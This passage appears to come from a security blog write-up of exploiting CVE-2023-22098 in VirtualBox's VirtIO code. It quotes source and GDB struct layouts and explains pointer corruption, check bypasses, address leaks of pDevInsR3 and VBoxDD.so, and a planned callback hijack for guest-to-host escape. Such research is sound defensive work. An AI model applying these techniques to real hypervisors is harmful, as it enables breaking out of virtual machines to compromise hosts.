    <span class="n">padding</span> <span class="o">=</span> <span class="s">"</span><span class="se">\000\000</span><span class="s">k</span><span class="se">\262\377\177\000\000\000\000\000\000\000\000\000\000\300</span><span class="s">w</span><span class="se">\035\234\377\177\000\000</span><span class="s">@H5</span><span class="se">\234\377\177\000\000\000\000\000\000\000\000\000\000</span><span class="s"> </span><span class="se">\335\000\234\377\177\000\000\000</span><span class="s">@</span><span class="se">\002\320\377\177\000\000\377\377\377\377\377\377\377\377</span><span class="s">"</span><span class="p">,</span> <span class="sc">'\000'</span> <span class="o">&lt;</span><span class="n">repeats</span> <span class="mi">16</span> <span class="n">times</span><span class="o">&gt;</span><span class="p">,</span> <span class="s">"(</span><span class="se">\000\000\000</span><span class="s">V</span><span class="se">\000\020\000\r</span><span class="s">"</span><span class="p">,</span> <span class="sc">'\000'</span> <span class="o">&lt;</span><span class="n">repeats</span> <span class="mi">54</span> <span class="n">times</span><span class="o">&gt;</span>
    <span class="p">},</span>
    <span class="n">achInstanceData</span> <span class="o">=</span> <span class="s">"</span><span class="se">\337\035</span><span class="s">;</span><span class="se">\260\377\177\000</span><span class="s">"</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="exploitation-strategy">Exploitation Strategy</h3>

<p>The members <code class="language-plaintext highlighter-rouge">pfnConfigRead</code> and <code class="language-plaintext highlighter-rouge">pfnConfigWrite</code> in the <code class="language-plaintext highlighter-rouge">PDMPCIDEVINT</code> struct caught my attention. These are actually
callbacks. Therefore, we can control the execution flow by modifying these callbacks. However, we have a problem: we
don’t have any memory leaks.</p>

<p>To obtain the leaks, I remembered that with the <code class="language-plaintext highlighter-rouge">lspci</code> command, we can query the device’s data. Therefore, it’s
retrieving the information somehow. Specifically, the function responsible for this is <code class="language-plaintext highlighter-rouge">virtioR3PciConfigRead</code>:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="nf">DECLCALLBACK</span><span class="p">(</span><span class="n">VBOXSTRICTRC</span><span class="p">)</span> <span class="n">virtioR3PciConfigRead</span><span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">,</span> <span class="n">PPDMPCIDEV</span> <span class="n">pPciDev</span><span class="p">,</span>
                                                        <span class="kt">uint32_t</span> <span class="n">uAddress</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">cb</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">pu32Value</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">PVIRTIOCORE</span>   <span class="n">pVirtio</span>   <span class="o">=</span> <span class="n">PDMINS_2_DATA</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">PVIRTIOCORE</span><span class="p">);</span>
    <span class="n">PVIRTIOCORECC</span> <span class="n">pVirtioCC</span> <span class="o">=</span> <span class="n">PDMINS_2_DATA_CC</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">PVIRTIOCORECC</span><span class="p">);</span>
    <span class="n">RT_NOREF</span><span class="p">(</span><span class="n">pPciDev</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">uAddress</span> <span class="o">==</span> <span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">uPciCfgDataOff</span><span class="p">)</span>
    <span class="p">{</span>
     <span class="cm">/* See comments in PCI Cfg capability initialization (in capabilities setup section of this code) */</span>
        <span class="k">struct</span> <span class="n">virtio_pci_cap</span> <span class="o">*</span><span class="n">pPciCap</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pPciCfgCap</span><span class="o">-&gt;</span><span class="n">pciCap</span><span class="p">;</span>
        <span class="kt">uint32_t</span> <span class="n">uLength</span> <span class="o">=</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uLength</span><span class="p">;</span>

        <span class="n">Log7Func</span><span class="p">((</span><span class="s">" pDevIns=%p pPciDev=%p uAddress=%#x%s cb=%u uLength=%d, bar=%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                     <span class="n">pDevIns</span><span class="p">,</span> <span class="n">pPciDev</span><span class="p">,</span> <span class="n">uAddress</span><span class="p">,</span>  <span class="n">uAddress</span> <span class="o">&lt;</span> <span class="mh">0x10</span> <span class="o">?</span> <span class="s">" "</span> <span class="o">:</span> <span class="s">""</span><span class="p">,</span> <span class="n">cb</span><span class="p">,</span> <span class="n">uLength</span><span class="p">,</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uBar</span><span class="p">));</span>

        <span class="k">if</span> <span class="p">(</span>  <span class="p">(</span><span class="n">uLength</span> <span class="o">!=</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">uLength</span> <span class="o">!=</span> <span class="mi">2</span> <span class="o">&amp;&amp;</span> <span class="n">uLength</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span>
            <span class="o">||</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uBar</span> <span class="o">!=</span> <span class="n">VIRTIO_REGION_PCI_CAP</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">ASSERT_GUEST_MSG_FAILED</span><span class="p">((</span><span class="s">"Guest read virtio_pci_cfg_cap.pci_cfg_data using mismatching config. "</span>
                                     <span class="s">"Ignoring</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
            <span class="o">*</span><span class="n">pu32Value</span> <span class="o">=</span> <span class="n">UINT32_MAX</span><span class="p">;</span>
            <span class="k">return</span> <span class="n">VINF_SUCCESS</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">VBOXSTRICTRC</span> <span class="n">rcStrict</span> <span class="o">=</span> <span class="n">virtioMmioRead</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">pVirtio</span><span class="p">,</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uOffset</span><span class="p">,</span> <span class="n">pu32Value</span><span class="p">,</span> <span class="n">cb</span><span class="p">);</span>
        <span class="n">Log7Func</span><span class="p">((</span><span class="s">" Guest read virtio_pci_cfg_cap.pci_cfg_data, bar=%d, offset=%d, length=%d, result=0x%x -&gt; %Rrc</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                     <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uBar</span><span class="p">,</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uOffset</span><span class="p">,</span> <span class="n">uLength</span><span class="p">,</span> <span class="o">*</span><span class="n">pu32Value</span><span class="p">,</span> <span class="n">VBOXSTRICTRC_VAL</span><span class="p">(</span><span class="n">rcStrict</span><span class="p">)));</span>
        <span class="k">return</span> <span class="n">rcStrict</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">Log7Func</span><span class="p">((</span><span class="s">" pDevIns=%p pPciDev=%p uAddress=%#x%s cb=%u pu32Value=%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                 <span class="n">pDevIns</span><span class="p">,</span> <span class="n">pPciDev</span><span class="p">,</span> <span class="n">uAddress</span><span class="p">,</span>  <span class="n">uAddress</span> <span class="o">&lt;</span> <span class="mh">0x10</span> <span class="o">?</span> <span class="s">" "</span> <span class="o">:</span> <span class="s">""</span><span class="p">,</span> <span class="n">cb</span><span class="p">,</span> <span class="n">pu32Value</span><span class="p">));</span>
    <span class="k">return</span> <span class="n">VINF_PDM_PCI_DO_DEFAULT</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The first two lines are quite important:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PVIRTIOCORE</span>   <span class="n">pVirtio</span>   <span class="o">=</span> <span class="n">PDMINS_2_DATA</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">PVIRTIOCORE</span><span class="p">);</span>
<span class="n">PVIRTIOCORECC</span> <span class="n">pVirtioCC</span> <span class="o">=</span> <span class="n">PDMINS_2_DATA_CC</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">PVIRTIOCORECC</span><span class="p">);</span>
</code></pre></div></div>

<p>The definition of the macros is as follows:</p>

<p class="code-title">include/VBox/vmm/pdmins.h</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/** @def PDMINS_2_DATA
 * Gets the shared instance data for a PDM device, USB device, or driver instance.
 * @note For devices using PDMDEVINS_2_DATA is highly recommended.
 */</span>
<span class="cp">#define PDMINS_2_DATA(pIns, type)       ( (type)(pIns)-&gt;CTX_SUFF(pvInstanceData) )
</span></code></pre></div></div>

<p class="code-title">include/VBox/vmm/pdmins.h</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/** @def PDMINS_2_DATA_CC
 * Gets the current context instance data for a PDM device, USB device, or driver instance.
 * @note For devices using PDMDEVINS_2_DATA_CC is highly recommended.
 */</span>
<span class="cp">#define PDMINS_2_DATA_CC(pIns, type)    ( (type)(void *)&amp;(pIns)-&gt;achInstanceData[0] )
</span></code></pre></div></div>

<p>Therefore, <code class="language-plaintext highlighter-rouge">pVirtio</code> will point to <code class="language-plaintext highlighter-rouge">pvInstanceDataR3</code>. However, we cannot directly modify the contents of
<code class="language-plaintext highlighter-rouge">pvInstanceDataR3</code>.</p>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">ptype</span> <span class="o">/</span><span class="n">o</span> <span class="n">PDMDEVINSR3</span>
<span class="cm">/* offset    |  size */</span>  <span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="nc">PDMDEVINSR3</span> <span class="p">{</span>
<span class="cm">/*    0      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">u32Version</span><span class="p">;</span>
<span class="cm">/*    4      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">iInstance</span><span class="p">;</span>
<span class="cm">/*    8      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">cbRing3</span><span class="p">;</span>
<span class="cm">/*   12      |     1 */</span>    <span class="kt">bool</span> <span class="n">fR0Enabled</span><span class="p">;</span>
<span class="cm">/*   13      |     1 */</span>    <span class="kt">bool</span> <span class="n">fRCEnabled</span><span class="p">;</span>
<span class="cm">/*   14      |     2 */</span>    <span class="kt">bool</span> <span class="n">afReserved</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="cm">/*   16      |     8 */</span>    <span class="n">PCPDMDEVHLPR3</span> <span class="n">pHlpR3</span><span class="p">;</span>
<span class="cm">/*   24      |     8 */</span>    <span class="n">RTR3PTR</span> <span class="n">pvInstanceDataR3</span><span class="p">;</span>
<span class="cm">/*   32      |     8 */</span>    <span class="n">RTR3PTR</span> <span class="n">pvInstanceDataForR3</span><span class="p">;</span>
<span class="cm">/*   40      |     8 */</span>    <span class="n">PPDMCRITSECT</span> <span class="n">pCritSectRoR3</span><span class="p">;</span>
<span class="cm">/*   48      |     8 */</span>    <span class="n">PCPDMDEVREG</span> <span class="n">pReg</span><span class="p">;</span>
<span class="cm">/*   56      |     8 */</span>    <span class="n">PCFGMNODE</span> <span class="n">pCfg</span><span class="p">;</span>
<span class="cm">/*   64      |     8 */</span>    <span class="n">PDMIBASE</span> <span class="n">IBase</span><span class="p">;</span>
<span class="cm">/*   72      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">fTracing</span><span class="p">;</span>
<span class="cm">/*   76      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">idTracing</span><span class="p">;</span>
<span class="cm">/*   80      |     8 */</span>    <span class="n">PDMDEVINSRC</span> <span class="o">*</span><span class="n">pDevInsForRCR3</span><span class="p">;</span>
<span class="cm">/*   88      |     8 */</span>    <span class="n">RTRGPTR</span> <span class="n">pDevInsForRC</span><span class="p">;</span>
<span class="cm">/*   96      |     8 */</span>    <span class="n">RTR3PTR</span> <span class="n">pvInstanceDataForRCR3</span><span class="p">;</span>
<span class="cm">/*  104      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">cbPciDev</span><span class="p">;</span>
<span class="cm">/*  108      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">cPciDevs</span><span class="p">;</span>
<span class="cm">/*  112      |    64 */</span>    <span class="n">PDMPCIDEV</span> <span class="o">*</span><span class="n">apPciDevs</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="cm">/*  176      |     8 */</span>    <span class="n">RTHCUINTPTR</span> <span class="n">pDevInsR0RemoveMe</span><span class="p">;</span>
<span class="cm">/*  184      |     8 */</span>    <span class="n">RTR0PTR</span> <span class="n">pvInstanceDataR0</span><span class="p">;</span>
<span class="cm">/*  192      |     4 */</span>    <span class="n">RTRCPTR</span> <span class="n">pvInstanceDataRC</span><span class="p">;</span>
<span class="cm">/*  196      |    44 */</span>    <span class="kt">uint32_t</span> <span class="n">au32Padding</span><span class="p">[</span><span class="mi">11</span><span class="p">];</span>
<span class="cm">/*  240      |   144 */</span>    <span class="k">union</span> <span class="p">{</span>
<span class="cm">/*               144 */</span>        <span class="kt">uint8_t</span> <span class="n">padding</span><span class="p">[</span><span class="mi">144</span><span class="p">];</span>

                                 <span class="cm">/* total size (bytes):  144 */</span>
                             <span class="p">}</span> <span class="n">Internal</span><span class="p">;</span>
<span class="cm">/*  384      |     8 */</span>    <span class="kt">char</span> <span class="n">achInstanceData</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>

                             <span class="cm">/* total size (bytes):  392 */</span>
                         <span class="p">}</span>
</code></pre></div></div>

<p>But there is a trick we can use: we can modify the <code class="language-plaintext highlighter-rouge">pDevInsR3</code> pointer in the <code class="language-plaintext highlighter-rouge">PDMPCIDEVINT</code>
structure to point to <code class="language-plaintext highlighter-rouge">pDevInsR3 + 0x10</code>. This way, <code class="language-plaintext highlighter-rouge">pvInstanceDataR3</code> will contain the pointer that was originally in
<code class="language-plaintext highlighter-rouge">pCritSectRoR3</code>. We do this because we know that the critical section is located at <code class="language-plaintext highlighter-rouge">pThis + 7536 + 16</code>
(as we observed earlier). By pointing it there, we will be able to modify the contents:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/pdevinsr3-0x10.png" alt="pDevInsR3 + 0x10" width="600" loading="lazy" /></p>

<p>However, there are a series of checks we need to bypass:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">uAddress</span> <span class="o">==</span> <span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">uPciCfgDataOff</span><span class="p">)</span>
</code></pre></div></div>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

<span class="k">struct</span> <span class="n">virtio_pci_cap</span> <span class="o">*</span><span class="n">pPciCap</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pPciCfgCap</span><span class="o">-&gt;</span><span class="n">pciCap</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">uLength</span> <span class="o">=</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uLength</span><span class="p">;</span>

<span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

<span class="k">if</span> <span class="p">(</span>  <span class="p">(</span><span class="n">uLength</span> <span class="o">!=</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">uLength</span> <span class="o">!=</span> <span class="mi">2</span> <span class="o">&amp;&amp;</span> <span class="n">uLength</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span>
    <span class="o">||</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uBar</span> <span class="o">!=</span> <span class="n">VIRTIO_REGION_PCI_CAP</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">ASSERT_GUEST_MSG_FAILED</span><span class="p">((</span><span class="s">"Guest read virtio_pci_cfg_cap.pci_cfg_data using mismatching config. "</span>
                                <span class="s">"Ignoring</span><span class="se">\n</span><span class="s">"</span><span class="p">));</span>
    <span class="o">*</span><span class="n">pu32Value</span> <span class="o">=</span> <span class="n">UINT32_MAX</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">VINF_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>

<span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

</code></pre></div></div>

<p>Therefore, it is necessary to modify these “fields” in order to successfully bypass the checks and trigger the call
to:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VBOXSTRICTRC</span> <span class="n">rcStrict</span> <span class="o">=</span> <span class="n">virtioMmioRead</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">pVirtio</span><span class="p">,</span> <span class="n">pPciCap</span><span class="o">-&gt;</span><span class="n">uOffset</span><span class="p">,</span> <span class="n">pu32Value</span><span class="p">,</span> <span class="n">cb</span><span class="p">);</span>
</code></pre></div></div>

<p>For example, <code class="language-plaintext highlighter-rouge">uBar</code> is located at a distance of <code class="language-plaintext highlighter-rouge">7536 + 16 + 0x300 + 4</code> from <code class="language-plaintext highlighter-rouge">pThis</code>:</p>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">ptype</span> <span class="o">/</span><span class="n">o</span> <span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pPciCfgCap</span><span class="o">-&gt;</span><span class="n">pciCap</span>
<span class="cm">/* offset    |  size */</span>  <span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="nc">virtio_pci_cap</span> <span class="p">{</span>
<span class="cm">/*    0      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">uCapVndr</span><span class="p">;</span>
<span class="cm">/*    1      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">uCapNext</span><span class="p">;</span>
<span class="cm">/*    2      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">uCapLen</span><span class="p">;</span>
<span class="cm">/*    3      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">uCfgType</span><span class="p">;</span>
<span class="cm">/*    4      |     1 */</span>    <span class="kt">uint8_t</span> <span class="n">uBar</span><span class="p">;</span>
<span class="cm">/*    5      |     3 */</span>    <span class="kt">uint8_t</span> <span class="n">uPadding</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
<span class="cm">/*    8      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">uOffset</span><span class="p">;</span>
<span class="cm">/*   12      |     4 */</span>    <span class="kt">uint32_t</span> <span class="n">uLength</span><span class="p">;</span>

                             <span class="cm">/* total size (bytes):   16 */</span>
                         <span class="p">}</span>
</code></pre></div></div>

<p>We are interested in the call to the <code class="language-plaintext highlighter-rouge">virtioMmioRead</code> function because this is where the data copy will actually
be handled.</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

<span class="cm">/*
    * Callback to client to manage device-specific configuration.
    */</span>
<span class="n">VBOXSTRICTRC</span> <span class="n">rcStrict</span> <span class="o">=</span> <span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pfnDevCapRead</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">uOffset</span><span class="p">,</span> <span class="n">pv</span><span class="p">,</span> <span class="n">cb</span><span class="p">);</span>

<span class="cm">/*
    * Anytime any part of the dev-specific dev config (which this virtio core implementation sees
    * as a blob, and virtio dev-specific code separates into fields) is READ, it must be compared
    * for deltas from previous read to maintain a config gen. seq. counter (VirtIO 1.0, section 4.1.4.3.1)
    */</span>
<span class="n">bool</span> <span class="n">fDevSpecificFieldChanged</span> <span class="o">=</span> <span class="n">RT_BOOL</span><span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pbDevSpecificCfg</span> <span class="o">+</span> <span class="n">uOffset</span><span class="p">,</span>
                                            <span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pbPrevDevSpecificCfg</span> <span class="o">+</span> <span class="n">uOffset</span><span class="p">,</span>
                                            <span class="n">RT_MIN</span><span class="p">(</span><span class="n">cb</span><span class="p">,</span> <span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">cbDevSpecificCfg</span> <span class="o">-</span> <span class="n">uOffset</span><span class="p">)));</span>

<span class="n">memcpy</span><span class="p">(</span><span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pbPrevDevSpecificCfg</span><span class="p">,</span> <span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">pbDevSpecificCfg</span><span class="p">,</span> <span class="n">pVirtioCC</span><span class="o">-&gt;</span><span class="n">cbDevSpecificCfg</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">fGenUpdatePending</span> <span class="o">||</span> <span class="n">fDevSpecificFieldChanged</span><span class="p">)</span>
<span class="p">{</span>
    <span class="o">++</span><span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">uConfigGeneration</span><span class="p">;</span>
    <span class="n">Log6Func</span><span class="p">((</span><span class="s">"Bumped cfg. generation to %d because %s%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">uConfigGeneration</span><span class="p">,</span>
                <span class="n">fDevSpecificFieldChanged</span> <span class="o">?</span> <span class="s">"&lt;dev cfg changed&gt; "</span> <span class="o">:</span> <span class="s">""</span><span class="p">,</span>
                <span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">fGenUpdatePending</span> <span class="o">?</span> <span class="s">"&lt;update was pending&gt;"</span> <span class="o">:</span> <span class="s">""</span><span class="p">));</span>
    <span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">fGenUpdatePending</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>

<span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

</code></pre></div></div>

<p>However, we have a couple of small issues. If we enter the first if statement, when <code class="language-plaintext highlighter-rouge">pVirtioCC-&gt;pfnDevCapRead</code> is called,
it is not pointing to the correct function (<code class="language-plaintext highlighter-rouge">virtioNetR3DevCapRead</code>) because we previously modified the pointer
to <code class="language-plaintext highlighter-rouge">pDevInsR3</code>.</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/gdb-virtiommioread1.png" alt="pVirtioCC-&gt;pfnDevCapRead" width="1000" loading="lazy" /></p>

<p>I considered entering the second if statement, where <code class="language-plaintext highlighter-rouge">virtioCommonCfgAccessed</code> is called. To save you part of the
analysis process, this turned out to be the correct option:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">MATCHES_VIRTIO_CAP_STRUCT</span><span class="p">(</span><span class="n">off</span><span class="p">,</span> <span class="n">cb</span><span class="p">,</span> <span class="n">uOffset</span><span class="p">,</span> <span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">LocCommonCfgCap</span><span class="p">))</span>
    <span class="k">return</span> <span class="nf">virtioCommonCfgAccessed</span><span class="p">(</span><span class="n">pDevIns</span><span class="p">,</span> <span class="n">pVirtio</span><span class="p">,</span> <span class="n">pVirtioCC</span><span class="p">,</span> <span class="nb">false</span> <span class="cm">/* fWrite */</span><span class="p">,</span> <span class="n">uOffset</span><span class="p">,</span> <span class="n">cb</span><span class="p">,</span> <span class="n">pv</span><span class="p">);</span>
</code></pre></div></div>

<p>To access that if statement, it is necessary to meet the check:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">MATCHES_VIRTIO_CAP_STRUCT</span><span class="p">(</span><span class="n">off</span><span class="p">,</span> <span class="n">cb</span><span class="p">,</span> <span class="n">uOffset</span><span class="p">,</span> <span class="n">pVirtio</span><span class="o">-&gt;</span><span class="n">LocCommonCfgCap</span><span class="p">)</span>
</code></pre></div></div>

<p>This is a macro, which is defined as:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define MATCHES_VIRTIO_CAP_STRUCT(a_offAccess, a_cbAccess, a_offsetIntoCap, a_LocCapData) \
    (   ((a_offsetIntoCap) = (uint32_t)((a_offAccess) - (a_LocCapData).offMmio)) &lt; (uint32_t)(a_LocCapData).cbMmio \
     &amp;&amp; (a_offsetIntoCap) + (uint32_t)(a_cbAccess) &lt;= (uint32_t)(a_LocCapData).cbMmio )
</span></code></pre></div></div>

<p class="code-title">GDB</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="o">&gt;</span>  <span class="n">ptype</span> <span class="o">/</span><span class="n">o</span> <span class="n">VIRTIO_PCI_CAP_LOCATIONS_T</span>
<span class="cm">/* offset    |  size */</span>  <span class="n">type</span> <span class="o">=</span> <span class="k">struct</span> <span class="nc">VIRTIO_PCI_CAP_LOCATIONS_T</span> <span class="p">{</span>
<span class="cm">/*    0      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">offMmio</span><span class="p">;</span>
<span class="cm">/*    2      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cbMmio</span><span class="p">;</span>
<span class="cm">/*    4      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">offPci</span><span class="p">;</span>
<span class="cm">/*    6      |     2 */</span>    <span class="kt">uint16_t</span> <span class="n">cbPci</span><span class="p">;</span>

                           <span class="cm">/* total size (bytes):    8 */</span>
                         <span class="p">}</span>
</code></pre></div></div>

<p>To do this, we can, for example, write a 0 at <code class="language-plaintext highlighter-rouge">7536 + 16 + 1828 + 0</code> (<code class="language-plaintext highlighter-rouge">offMmio</code>) and 0xff at
<code class="language-plaintext highlighter-rouge">7536 + 16 + 1828 + 2</code> (<code class="language-plaintext highlighter-rouge">cbMmio</code>).</p>

<p>From the <code class="language-plaintext highlighter-rouge">virtioCommonCfgAccessed</code> function, the part we are most interested in is when the calls to
<code class="language-plaintext highlighter-rouge">VIRTIO_DEV_CONFIG_ACCESS</code> are made, which is again a macro, defined as follows:</p>

<p class="code-title">src/VBox/Devices/VirtIO/VirtioCore.h</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define VIRTIO_DEV_CONFIG_ACCESS(member, tCfgStruct, uOffsetOfAccess, pCfgStruct) \
    do \
    { \
        uint32_t uOffsetInMember = uOffsetOfAccess - RT_UOFFSETOF(tCfgStruct, member); \
        if (fWrite) \
            memcpy(((char *)&amp;(pCfgStruct)-&gt;member) + uOffsetInMember, pv, cb); \
        else \
            memcpy(pv, ((const char *)&amp;(pCfgStruct)-&gt;member) + uOffsetInMember, cb); \
        VIRTIO_DEV_CONFIG_LOG_ACCESS(member, tCfgStruct, uOffsetOfAccess); \
    } while(0)
</span></code></pre></div></div>

<p>It copies data to or from the specified member field of the config structure, depending on whether <code class="language-plaintext highlighter-rouge">fWrite</code> indicates a
write or a read operation.</p>

<p>We are particularly interested in the accesses made to the member fields of <code class="language-plaintext highlighter-rouge">pVirtio-&gt;aVirtqueues</code>.
Additionally, we can control the value of <code class="language-plaintext highlighter-rouge">uVirtq</code> (<code class="language-plaintext highlighter-rouge">pVirtio-&gt;uVirtqSelect</code>).</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/pvirtio-avirtqueues.png" alt="pVirtio-&gt;aVirtqueues[0]" width="556" loading="lazy" /></p>

<p>By doing this, we can successfully leak the address of <code class="language-plaintext highlighter-rouge">pDevInsR3</code>, which is “fragmented” across the member fields:
<code class="language-plaintext highlighter-rouge">uNotifyOffset</code>, <code class="language-plaintext highlighter-rouge">uEnable</code>, and <code class="language-plaintext highlighter-rouge">uMsixVector</code>.</p>

<p>This also applies to <code class="language-plaintext highlighter-rouge">virtioR3PciConfigRead</code> if we read the same fields, but set <code class="language-plaintext highlighter-rouge">uVirtq</code> to 4.
Additionally, after obtaining the address of <code class="language-plaintext highlighter-rouge">virtioR3PciConfigRead</code>, we can calculate the base address of <code class="language-plaintext highlighter-rouge">VBoxDD.so</code>:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/leaks.png" alt="Leaks" width="524" loading="lazy" /></p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/vboxdd-so.png" alt="VBoxDD.so" width="1000" loading="lazy" /></p>

<p>Now that we have the leaks, we can try to gain control of the execution flow by leveraging the initial idea of
corrupting <code class="language-plaintext highlighter-rouge">pfnConfigRead</code>.</p>

<p>The call to <code class="language-plaintext highlighter-rouge">virtioR3PciConfigRead</code> is made via:</p>

<p class="code-title">src/VBox/Devices/Bus/DevPCI.cpp</p>
